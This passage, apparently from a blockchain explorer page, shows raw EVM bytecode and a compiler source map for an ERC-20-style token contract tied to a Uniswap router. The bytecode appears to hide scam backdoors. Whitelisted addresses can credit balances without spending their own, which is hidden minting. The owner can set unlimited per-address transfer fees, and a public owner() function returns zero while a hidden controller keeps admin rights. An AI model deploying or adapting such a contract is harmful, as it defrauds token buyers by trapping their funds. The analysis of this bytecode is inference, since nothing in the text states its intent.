d57602081850181015186830182015201610ef1565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610eb66020830184610ee9565b80356001600160a01b038116811461059e575f80fd5b5f8060408385031215610f65575f80fd5b610f6e83610f3e565b946020939093013593505050565b5f8060408385031215610f8d575f80fd5b610f9683610f3e565b915060208301358015158114610faa575f80fd5b809150509250929050565b5f805f60608486031215610fc7575f80fd5b610fd084610f3e565b9250610fde60208501610f3e565b9150604084013590509250925092565b5f60208284031215610ffe575f80fd5b610eb682610f3e565b5f60208284031215611017575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112611041575f80fd5b813567ffffffffffffffff8082111561105c5761105c61101e565b604051601f8301601f19908116603f011681019082821181831017156110845761108461101e565b8160405283815286602085880101111561109c575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f80604083850312156110cc575f80fd5b823567ffffffffffffffff808211156110e3575f80fd5b6110ef86838701611032565b93506020850135915080821115611104575f80fd5b5061111185828601611032565b9150509250929050565b5f806040838503121561112c575f80fd5b61113583610f3e565b915061114360208401610f3e565b90509250929050565b600181811c9082168061116057607f821691505b60208210810361117e57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561041b5761041b6111b9565b601f821115611229575f81815260208120601f850160051c810160208610156112065750805b601f850160051c820191505b8181101561122557828155600101611212565b5050505b505050565b815167ffffffffffffffff8111156112485761124861101e565b61125c81611256845461114c565b846111e0565b602080601f83116001811461128f575f84156112785750858301515b5f19600386901b1c1916600185901b178555611225565b5f85815260208120601f198616915b828110156112bd5788860151825594840194600190910190840161129e565b50858210156112da57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b606081525f6112fc6060830186610ee9565b828103602084015261130e8186610ee9565b91505060018060a01b0383166040830152949350505050565b8181038181111561041b5761041b6111b9565b808202811582820484141761041b5761041b6111b9565b5f8261136b57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b7cc56589898944f794407053be9220deeac7b81c647a47e9b30b93351601cb664736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610153575f3560e01c80636c9992b3116100bf578063a9059cbb11610079578063a9059cbb146102f0578063b4a99a4e14610303578063c4e7c16514610309578063d32c99cd1461031c578063dd62ed3e1461032f578063f2fde38b14610365575f80fd5b80636c9992b31461027f57806370a0823114610292578063715018a6146102ba57806380602410146102c257806395d89b41146102d5578063a457c2d7146102dd575f80fd5b80632c91d071116101105780632c91d07114610211578063313ce5671461022457806339509351146102335780633de94b451461024657806349bd5a5e146102595780635dd7c8ac1461026c575f80fd5b806306fdde0314610157578063095ea7b3146101755780631694505e1461019857806318160ddd146101d75780631f478f1e146101e957806323b872dd146101fe575b5f80fd5b61015f610378565b60405161016c9190610f2c565b60405180910390f35b610188610183366004610f54565b610408565b604051901515815260200161016c565b6101bf7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161016c565b6001545b60405190815260200161016c565b6101fc6101f7366004610f7c565b610421565b005b61018861020c366004610fb5565b61047e565b6101fc61021f366004610fee565b6104a1565b6040516012815260200161016c565b610188610241366004610f54565b6104ed565b6101fc610254366004611007565b610529565b6007546101bf906001600160a01b031681565b6101db61027a366004610fee565b610558565b61018861028d366004610fee565b6105a3565b6101db6102a0366004610fee565b6001600160a01b03165f9081526005602052604090205490565b6101fc6105ed565b6101886102d0366004610fee565b610622565b61015f61066c565b6101886102eb366004610f54565b61067b565b6101886102fe366004610f54565b61070a565b5f6101bf565b6101fc610317366004610f54565b61076a565b6101fc61032a3660046110bb565b6107af565b6101db61033d36600461111b565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b6101fc610373366004610fee565b610832565b6060600880546103879061114c565b80601f01602080910402602001604051908101604052809291908181526020018280546103b39061114c565b80156103fe5780601f106103d5576101008083540402835291602001916103fe565b820191905f5260205f20905b8154815290600101906020018083116103e157829003601f168201915b5050505050905090565b5f336104158185856108cd565b60019150505b92915050565b6004546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611184565b60405180910390fd5b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f3361048b8582856109ee565b610496858585610a7c565b506001949350505050565b6004546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044b90611184565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b335f818152602081815260408083206001600160a01b038716845290915281205490919061041590829086906105249087906111cd565b6108cd565b6004546001600160a01b031633146105535760405162461bcd60e51b815260040161044b90611184565b600a55565b6004545f906001600160a01b031633146105845760405162461bcd60e51b815260040161044b90611184565b506001600160a01b0381165f908152600d60205260409020545b919050565b6004545f906001600160a01b031633146105cf5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f9081526006602052604090205460ff1690565b6004546001600160a01b031633146106175760405162461bcd60e51b815260040161044b90611184565b6106205f610e28565b565b6004545f906001600160a01b0316331461064e5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f908152600c602052604090205460ff1690565b6060600980546103879061114c565b335f818152602081815260408083206001600160a01b0387168452909152812054909190838110156106fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161044b565b61049682868684036108cd565b335f8181526006602052604081205490919060ff16151560010361075f576001600160a01b0384165f908152600560205260408120805485929061074f9084906111cd565b909155506001925061041b915050565b610415818585610a7c565b6004546001600160a01b031633146107945760405162461bcd60e51b815260040161044b90611184565b6001600160a01b039091165f908152600d6020526040902055565b6004546001600160a01b031633146107d95760405162461bcd60e51b815260040161044b90611184565b60086107e5838261122e565b5060096107f2828261122e565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e014338627828233604051610826939291906112ea565b60405180910390a15050565b6004546001600160a01b0316331461085c5760405162461bcd60e51b815260040161044b90611184565b6001600160a01b0381166108c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044b565b6108ca81610e28565b50565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f90815260208181526040808320938616835292905220545f198114610a765781811015610a695760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161044b565b610a7684848484036108cd565b50505050565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b6001600160a01b0383165f9081526005602052604090205481811015610bb95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161044b565b6001610bc58585610e79565b15610bcd57505f5b5f8115610c6d576007545f906001600160a01b031615610c1d576007546001600160a01b0390811690871603610c025750600a545b6007546001600160a01b0390811690881603610c1d5750600b545b6001600160a01b0387165f908152600d602052604090205415610c5457506001600160a01b0386165f908152600d60205260409020545b610c696064610c638784610ebd565b90610ec8565b9150505b8015610d58576001600160a01b0386165f90815260056020526040902054610c959082610ed3565b6001600160a01b0387165f9081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610ce19082610ede565b61dead5f81905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4f9085815260200190565b60405180910390a35b610d83610d658286611327565b6001600160a01b0388165f9081526005602052604090205490610ed3565b6001600160a01b0387165f90815260056020526040902055610dc6610da88286611327565b6001600160a01b0387165f9081526005602052604090205490610ede565b6001600160a01b038087165f8181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0f8488611327565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152600c602052604081205460ff1680610eb657506001600160a01b0382165f908152600c602052604090205460ff165b9392505050565b5f610eb6828461133a565b5f610eb68284611351565b5f610eb68284611327565b5f610eb682846111cd565b5f81518084525f5b81811015610f0d57602081850181015186830182015201610ef1565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610eb66020830184610ee9565b80356001600160a01b038116811461059e575f80fd5b5f8060408385031215610f65575f80fd5b610f6e83610f3e565b946020939093013593505050565b5f8060408385031215610f8d575f80fd5b610f9683610f3e565b915060208301358015158114610faa575f80fd5b809150509250929050565b5f805f60608486031215610fc7575f80fd5b610fd084610f3e565b9250610fde60208501610f3e565b9150604084013590509250925092565b5f60208284031215610ffe575f80fd5b610eb682610f3e565b5f60208284031215611017575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112611041575f80fd5b813567ffffffffffffffff8082111561105c5761105c61101e565b604051601f8301601f19908116603f011681019082821181831017156110845761108461101e565b8160405283815286602085880101111561109c575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f80604083850312156110cc575f80fd5b823567ffffffffffffffff808211156110e3575f80fd5b6110ef86838701611032565b93506020850135915080821115611104575f80fd5b5061111185828601611032565b9150509250929050565b5f806040838503121561112c575f80fd5b61113583610f3e565b915061114360208401610f3e565b90509250929050565b600181811c9082168061116057607f821691505b60208210810361117e57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561041b5761041b6111b9565b601f821115611229575f81815260208120601f850160051c810160208610156112065750805b601f850160051c820191505b8181101561122557828155600101611212565b5050505b505050565b815167ffffffffffffffff8111156112485761124861101e565b61125c81611256845461114c565b846111e0565b602080601f83116001811461128f575f84156112785750858301515b5f19600386901b1c1916600185901b178555611225565b5f85815260208120601f198616915b828110156112bd5788860151825594840194600190910190840161129e565b50858210156112da57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b606081525f6112fc6060830186610ee9565b828103602084015261130e8186610ee9565b91505060018060a01b0383166040830152949350505050565b8181038181111561041b5761041b6111b9565b808202811582820484141761041b5761041b6111b9565b5f8261136b57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b7cc56589898944f794407053be9220deeac7b81c647a47e9b30b93351601cb664736f6c63430008150033

Deployed Bytecode Sourcemap

12475:6909:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15150:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10438:192;;;;;;:::i;:::-;;:::i;:::-;;;1269:14:1;;1262:22;1244:41;;1232:2;1217:18;10438:192:0;1104:187:1;12750:51:0;;;;;;;;-1:-1:-1;;;;;1486:32:1;;;1468:51;;1456:2;1441:18;12750:51:0;1296:229:1;10169:99:0;10248:12;;10169:99;;;1676:25:1;;;1664:2;1649:18;10169:99:0;1530:177:1;16383:113:0;;;;;;:::i;:::-;;:::i;:::-;;18693:288;;;;;;:::i;:::-;;:::i;15812:98::-;;;;;;:::i;:::-;;:::i;10071:84::-;;;10145:2;2730:36:1;;2718:2;2703:18;10071:84:0;2588:184:1;10644:240:0;;;;;;:::i;:::-;;:::i;15920:95::-;;;;;;:::i;:::-;;:::i;12808:28::-;;;;;-1:-1:-1;;;;;12808:28:0;;;16251:122;;;;;;:::i;:::-;;:::i;15681:121::-;;;;;;:::i;:::-;;:::i;12625:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12717:18:0;12690:7;12717:18;;;:9;:18;;;;;;;12625:118;900:103;;;:::i;16504:126::-;;;;;;:::i;:::-;;:::i;15256:96::-;;;:::i;10890:438::-;;;;;;:::i;:::-;;:::i;18372:299::-;;;;;;:::i;:::-;;:::i;674:91::-;720:7;674:91;;16039:196;;;;;;:::i;:::-;;:::i;14952:186::-;;;;;;:::i;:::-;;:::i;10282:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10389:18:0;;;10362:7;10389:18;;;;;;;;;;;:27;;;;;;;;;;;;;10282:142;1011:201;;;;;;:::i;:::-;;:::i;15150:92::-;15196:13;15229:5;15222:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15150:92;:::o;10438:192::-;10512:4;298:10;10568:32;298:10;10584:7;10593:6;10568:8;:32::i;:::-;10618:4;10611:11;;;10438:192;;;;;:::o;16383:113::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16461:18:0;;;::::1;;::::0;;;:8:::1;:18;::::0;;;;:27;;-1:-1:-1;;16461:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16383:113::o;18693:288::-;18815:4;298:10;18875:38;18891:4;298:10;18906:6;18875:15;:38::i;:::-;18924:27;18934:4;18940:2;18944:6;18924:9;:27::i;:::-;-1:-1:-1;18969:4:0;;18693:288;-1:-1:-1;;;;18693:288:0:o;15812:98::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;15878:13:::1;:24:::0;;-1:-1:-1;;;;;;15878:24:0::1;-1:-1:-1::0;;;;;15878:24:0;;;::::1;::::0;;;::::1;::::0;;15812:98::o;10644:240::-;298:10;10732:4;10813:18;;;;;;;;;;;-1:-1:-1;;;;;10813:27:0;;;;;;;;;;10732:4;;298:10;10788:66;;298:10;;10813:27;;:40;;10843:10;;10813:40;:::i;:::-;10788:8;:66::i;15920:95::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;15981:17:::1;:26:::0;15920:95::o;16251:122::-;813:6;;16321:7;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16348:17:0;::::1;;::::0;;;:7:::1;:17;::::0;;;;;883:1:::1;16251:122:::0;;;:::o;15681:121::-;813:6;;15752:4;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;15776:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;15681:121::o;900:103::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;965:30:::1;992:1;965:18;:30::i;:::-;900:103::o:0;16504:126::-;813:6;;16580:4;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16604:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;16504:126::o;15256:96::-;15304:13;15337:7;15330:14;;;;;:::i;10890:438::-;298:10;10983:4;11066:18;;;;;;;;;;;-1:-1:-1;;;;;11066:27:0;;;;;;;;;;10983:4;;298:10;11112:35;;;;11104:85;;;;-1:-1:-1;;;11104:85:0;;6049:2:1;11104:85:0;;;6031:21:1;6088:2;6068:18;;;6061:30;6127:34;6107:18;;;6100:62;-1:-1:-1;;;6178:18:1;;;6171:35;6223:19;;11104:85:0;5847:401:1;11104:85:0;11225:60;11234:5;11241:7;11269:15;11250:16;:34;11225:8;:60::i;18372:299::-;298:10;18442:4;18502:15;;;:8;:15;;;;;;18442:4;;298:10;18502:15;;:23;;:15;:23;18498:105;;-1:-1:-1;;;;;18542:13:0;;;;;;:9;:13;;;;;:23;;18559:6;;18542:13;:23;;18559:6;;18542:23;:::i;:::-;;;;-1:-1:-1;18587:4:0;;-1:-1:-1;18580:11:0;;-1:-1:-1;;18580:11:0;18498:105;18613:28;18623:5;18630:2;18634:6;18613:9;:28::i;16039:196::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16201:17:0;;::::1;;::::0;;;:7:::1;:17;::::0;;;;:26;16039:196::o;14952:186::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;15038:5:::1;:12;15046:4:::0;15038:5;:12:::1;:::i;:::-;-1:-1:-1::0;15061:7:0::1;:16;15071:6:::0;15061:7;:16:::1;:::i;:::-;;15093:37;15105:4;15111:6;15119:10;15093:37;;;;;;;;:::i;:::-;;;;;;;;14952:186:::0;;:::o;1011:201::-;813:6;;-1:-1:-1;;;;;813:6:0;298:10;813:22;805:67;;;;-1:-1:-1;;;805:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1100:22:0;::::1;1092:73;;;::::0;-1:-1:-1;;;1092:73:0;;9559:2:1;1092:73:0::1;::::0;::::1;9541:21:1::0;9598:2;9578:18;;;9571:30;9637:34;9617:18;;;9610:62;-1:-1:-1;;;9688:18:1;;;9681:36;9734:19;;1092:73:0::1;9357:402:1::0;1092:73:0::1;1176:28;1195:8;1176:18;:28::i;:::-;1011:201:::0;:::o;11342:380::-;-1:-1:-1;;;;;11478:19:0;;11470:68;;;;-1:-1:-1;;;11470:68:0;;9966:2:1;11470:68:0;;;9948:21:1;10005:2;9985:18;;;9978:30;10044:34;10024:18;;;10017:62;-1:-1:-1;;;10095:18:1;;;10088:34;10139:19;;11470:68:0;9764:400:1;11470:68:0;-1:-1:-1;;;;;11557:21:0;;11549:68;;;;-1:-1:-1;;;11549:68:0;;10371:2:1;11549:68:0;;;10353:21:1;10410:2;10390:18;;;10383:30;10449:34;10429:18;;;10422:62;-1:-1:-1;;;10500:18:1;;;10493:32;10542:19;;11549:68:0;10169:398:1;11549:68:0;-1:-1:-1;;;;;11630:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;11682:32;;1676:25:1;;;11682:32:0;;1649:18:1;11682:32:0;;;;;;;11342:380;;;:::o;11736:453::-;-1:-1:-1;;;;;10389:18:0;;;11871:24;10389:18;;;;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;11938:37:0;;11934:248;;12020:6;12000:16;:26;;11992:68;;;;-1:-1:-1;;;11992:68:0;;10774:2:1;11992:68:0;;;10756:21:1;10813:2;10793:18;;;10786:30;10852:31;10832:18;;;10825:59;10901:18;;11992:68:0;10572:353:1;11992:68:0;12104:51;12113:5;12120:7;12148:6;12129:16;:25;12104:8;:51::i;:::-;11860:329;11736:453;;;:::o;16786:1578::-;-1:-1:-1;;;;;16918:18:0;;16910:68;;;;-1:-1:-1;;;16910:68:0;;11132:2:1;16910:68:0;;;11114:21:1;11171:2;11151:18;;;11144:30;11210:34;11190:18;;;11183:62;-1:-1:-1;;;11261:18:1;;;11254:35;11306:19;;16910:68:0;10930:401:1;16910:68:0;-1:-1:-1;;;;;16997:16:0;;16989:64;;;;-1:-1:-1;;;16989:64:0;;11538:2:1;16989:64:0;;;11520:21:1;11577:2;11557:18;;;11550:30;11616:34;11596:18;;;11589:62;-1:-1:-1;;;11667:18:1;;;11660:33;11710:19;;16989:64:0;11336:399:1;16989:64:0;-1:-1:-1;;;;;17088:15:0;;17066:19;17088:15;;;:9;:15;;;;;;17122:22;;;;17114:73;;;;-1:-1:-1;;;17114:73:0;;11942:2:1;17114:73:0;;;11924:21:1;11981:2;11961:18;;;11954:30;12020:34;12000:18;;;11993:62;-1:-1:-1;;;12071:18:1;;;12064:36;12117:19;;17114:73:0;11740:402:1;17114:73:0;17210:4;17231:27;17249:4;17255:2;17231:17;:27::i;:::-;17227:70;;;-1:-1:-1;17280:5:0;17227:70;17307:24;17352:2;17348:523;;;17412:13;;17371:18;;-1:-1:-1;;;;;17412:13:0;:27;17408:286;;17470:13;;-1:-1:-1;;;;;17470:13:0;;;17464:19;;;;17460:100;;-1:-1:-1;17523:17:0;;17460:100;17590:13;;-1:-1:-1;;;;;17590:13:0;;;17582:21;;;;17578:101;;-1:-1:-1;17643:16:0;;17578:101;-1:-1:-1;;;;;17712:13:0;;17728:1;17712:13;;;:7;:13;;;;;;:17;17708:84;;-1:-1:-1;;;;;;17763:13:0;;;;;;:7;:13;;;;;;17708:84;17827:32;17855:3;17827:23;:7;17839:10;17827:11;:23::i;:::-;:27;;:32::i;:::-;17808:51;;17356:515;17348:523;17889:20;;17885:260;;-1:-1:-1;;;;;17944:15:0;;;;;;:9;:15;;;;;;:37;;17964:16;17944:19;:37::i;:::-;-1:-1:-1;;;;;17926:15:0;;;;;;:9;:15;;;;;:55;;;;15626:42;18022:23;;;;:45;;18050:16;18022:27;:45::i;:::-;15626:42;17996:23;;;;:9;:23;;;:71;;;;:23;18087:46;-1:-1:-1;;;;;18087:46:0;;;;;;;18116:16;1676:25:1;;1664:2;1649:18;;1530:177;18087:46:0;;;;;;;;17885:260;18175:47;18195:26;18205:16;18195:7;:26;:::i;:::-;-1:-1:-1;;;;;18175:15:0;;;;;;:9;:15;;;;;;;:19;:47::i;:::-;-1:-1:-1;;;;;18157:15:0;;;;;;:9;:15;;;;;:65;18249:45;18267:26;18277:16;18267:7;:26;:::i;:::-;-1:-1:-1;;;;;18249:13:0;;;;;;:9;:13;;;;;;;:17;:45::i;:::-;-1:-1:-1;;;;;18233:13:0;;;;;;;:9;:13;;;;;:61;;;;18310:46;;;18329:26;18339:16;18329:7;:26;:::i;:::-;18310:46;;1676:25:1;;;1664:2;1649:18;18310:46:0;;;;;;;16899:1465;;;16786:1578;;;:::o;1220:191::-;1313:6;;;-1:-1:-1;;;;;1330:17:0;;;-1:-1:-1;;;;;;1330:17:0;;;;;;;1363:40;;1313:6;;;1330:17;1313:6;;1363:40;;1294:16;;1363:40;1283:128;1220:191;:::o;16638:138::-;-1:-1:-1;;;;;16738:14:0;;16714:4;16738:14;;;:8;:14;;;;;;;;;:30;;-1:-1:-1;;;;;;16756:12:0;;;;;;:8;:12;;;;;;;;16738:30;16731:37;16638:138;-1:-1:-1;;;16638:138:0:o;2789:98::-;2847:7;2874:5;2878:1;2874;:5;:::i;2895:98::-;2953:7;2980:5;2984:1;2980;:5;:::i;2683:98::-;2741:7;2768:5;2772:1;2768;:5;:::i;2577:98::-;2635:7;2662:5;2666:1;2662;:5;:::i;14:423:1:-;56:3;94:5;88:12;121:6;116:3;109:19;146:1;156:162;170:6;167:1;164:13;156:162;;;232:4;288:13;;;284:22;;278:29;260:11;;;256:20;;249:59;185:12;156:162;;;160:3;363:1;356:4;347:6;342:3;338:16;334:27;327:38;426:4;419:2;415:7;410:2;402:6;398:15;394:29;389:3;385:39;381:50;374:57;;;14:423;;;;:::o;442:220::-;591:2;580:9;573:21;554:4;611:45;652:2;641:9;637:18;629:6;611:45;:::i;667:173::-;735:20;;-1:-1:-1;;;;;784:31:1;;774:42;;764:70;;830:1;827;820:12;845:254;913:6;921;974:2;962:9;953:7;949:23;945:32;942:52;;;990:1;987;980:12;942:52;1013:29;1032:9;1013:29;:::i;:::-;1003:39;1089:2;1074:18;;;;1061:32;;-1:-1:-1;;;845:254:1:o;1712:347::-;1777:6;1785;1838:2;1826:9;1817:7;1813:23;1809:32;1806:52;;;1854:1;1851;1844:12;1806:52;1877:29;1896:9;1877:29;:::i;:::-;1867:39;;1956:2;1945:9;1941:18;1928:32;2003:5;1996:13;1989:21;1982:5;1979:32;1969:60;;2025:1;2022;2015:12;1969:60;2048:5;2038:15;;;1712:347;;;;;:::o;2064:328::-;2141:6;2149;2157;2210:2;2198:9;2189:7;2185:23;2181:32;2178:52;;;2226:1;2223;2216:12;2178:52;2249:29;2268:9;2249:29;:::i;:::-;2239:39;;2297:38;2331:2;2320:9;2316:18;2297:38;:::i;:::-;2287:48;;2382:2;2371:9;2367:18;2354:32;2344:42;;2064:328;;;;;:::o;2397:186::-;2456:6;2509:2;2497:9;2488:7;2484:23;2480:32;2477:52;;;2525:1;2522;2515:12;2477:52;2548:29;2567:9;2548:29;:::i;2777:180::-;2836:6;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;-1:-1:-1;2928:23:1;;2777:180;-1:-1:-1;2777:180:1:o;3170:127::-;3231:10;3226:3;3222:20;3219:1;3212:31;3262:4;3259:1;3252:15;3286:4;3283:1;3276:15;3302:719;3345:5;3398:3;3391:4;3383:6;3379:17;3375:27;3365:55;;3416:1;3413;3406:12;3365:55;3452:6;3439:20;3478:18;3515:2;3511;3508:10;3505:36;;;3521:18;;:::i;:::-;3596:2;3590:9;3564:2;3650:13;;-1:-1:-1;;3646:22:1;;;3670:2;3642:31;3638:40;3626:53;;;3694:18;;;3714:22;;;3691:46;3688:72;;;3740:18;;:::i;:::-;3780:10;3776:2;3769:22;3815:2;3807:6;3800:18;3861:3;3854:4;3849:2;3841:6;3837:15;3833:26;3830:35;3827:55;;;3878:1;3875;3868:12;3827:55;3942:2;3935:4;3927:6;3923:17;3916:4;3908:6;3904:17;3891:54;3989:1;3982:4;3977:2;3969:6;3965:15;3961:26;3954:37;4009:6;4000:15;;;;;;3302:719;;;;:::o;4026:543::-;4114:6;4122;4175:2;4163:9;4154:7;4150:23;4146:32;4143:52;;;4191:1;4188;4181:12;4143:52;4231:9;4218:23;4260:18;4301:2;4293:6;4290:14;4287:34;;;4317:1;4314;4307:12;4287:34;4340:50;4382:7;4373:6;4362:9;4358:22;4340:50;:::i;:::-;4330:60;;4443:2;4432:9;4428:18;4415:32;4399:48;;4472:2;4462:8;4459:16;4456:36;;;4488:1;4485;4478:12;4456:36;;4511:52;4555:7;4544:8;4533:9;4529:24;4511:52;:::i;:::-;4501:62;;;4026:543;;;;;:::o;4574:260::-;4642:6;4650;4703:2;4691:9;4682:7;4678:23;4674:32;4671:52;;;4719:1;4716;4709:12;4671:52;4742:29;4761:9;4742:29;:::i;:::-;4732:39;;4790:38;4824:2;4813:9;4809:18;4790:38;:::i;:::-;4780:48;;4574:260;;;;;:::o;4839:380::-;4918:1;4914:12;;;;4961;;;4982:61;;5036:4;5028:6;5024:17;5014:27;;4982:61;5089:2;5081:6;5078:14;5058:18;5055:38;5052:161;;5135:10;5130:3;5126:20;5123:1;5116:31;5170:4;5167:1;5160:15;5198:4;5195:1;5188:15;5052:161;;4839:380;;;:::o;5224:356::-;5426:2;5408:21;;;5445:18;;;5438:30;5504:34;5499:2;5484:18;;5477:62;5571:2;5556:18;;5224:356::o;5585:127::-;5646:10;5641:3;5637:20;5634:1;5627:31;5677:4;5674:1;5667:15;5701:4;5698:1;5691:15;5717:125;5782:9;;;5803:10;;;5800:36;;;5816:18;;:::i;6794:545::-;6896:2;6891:3;6888:11;6885:448;;;6932:1;6957:5;6953:2;6946:17;7002:4;6998:2;6988:19;7072:2;7060:10;7056:19;7053:1;7049:27;7043:4;7039:38;7108:4;7096:10;7093:20;7090:47;;;-1:-1:-1;7131:4:1;7090:47;7186:2;7181:3;7177:12;7174:1;7170:20;7164:4;7160:31;7150:41;;7241:82;7259:2;7252:5;7249:13;7241:82;;;7304:17;;;7285:1;7274:13;7241:82;;;7245:3;;;6885:448;6794:545;;;:::o;7515:1352::-;7641:3;7635:10;7668:18;7660:6;7657:30;7654:56;;;7690:18;;:::i;:::-;7719:97;7809:6;7769:38;7801:4;7795:11;7769:38;:::i;:::-;7763:4;7719:97;:::i;:::-;7871:4;;7935:2;7924:14;;7952:1;7947:663;;;;8654:1;8671:6;8668:89;;;-1:-1:-1;8723:19:1;;;8717:26;8668:89;-1:-1:-1;;7472:1:1;7468:11;;;7464:24;7460:29;7450:40;7496:1;7492:11;;;7447:57;8770:81;;7917:944;;7947:663;6741:1;6734:14;;;6778:4;6765:18;;-1:-1:-1;;7983:20:1;;;8101:236;8115:7;8112:1;8109:14;8101:236;;;8204:19;;;8198:26;8183:42;;8296:27;;;;8264:1;8252:14;;;;8131:19;;8101:236;;;8105:3;8365:6;8356:7;8353:19;8350:201;;;8426:19;;;8420:26;-1:-1:-1;;8509:1:1;8505:14;;;8521:3;8501:24;8497:37;8493:42;8478:58;8463:74;;8350:201;-1:-1:-1;;;;;8597:1:1;8581:14;;;8577:22;8564:36;;-1:-1:-1;7515:1352:1:o;8872:480::-;9097:2;9086:9;9079:21;9060:4;9123:45;9164:2;9153:9;9149:18;9141:6;9123:45;:::i;:::-;9216:9;9208:6;9204:22;9199:2;9188:9;9184:18;9177:50;9244:33;9270:6;